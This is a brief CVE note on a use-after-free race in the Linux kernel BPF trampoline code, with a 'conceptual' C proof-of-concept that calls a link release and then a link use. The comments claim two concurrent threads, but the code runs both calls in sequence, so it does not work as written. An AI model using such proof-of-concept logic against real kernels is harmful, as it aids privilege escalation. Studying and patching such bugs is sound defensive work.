CVE-2026-23319 Linux内核BPF模块UAF漏洞

// Conceptual reproduction logic based on the patch description // This simulates the race condition in the Linux kernel BPF subsystem. #include <linux/bpf.h> #include <linux/delay.h> void poc_trigger_race_condition(struct bpf_link *link) { // Thread 1: Initiates release // In the vulnerable version, cleanup of tr->progs_hlist is deferred. bpf_link_put(link); // Thread 2: Concurrent access (Exploitation Window) // This function attempts to use the link while it is being released. // If the refcount drops to zero but memory is not yet cleared, UAF occurs. bpf_trampoline_link_cgroup_shim(link); } // To reliably reproduce for testing (as per kernel dev notes): // Insert 'msleep(100)' in bpf_shim_tramp_link_release before WARN_ON_ONCE.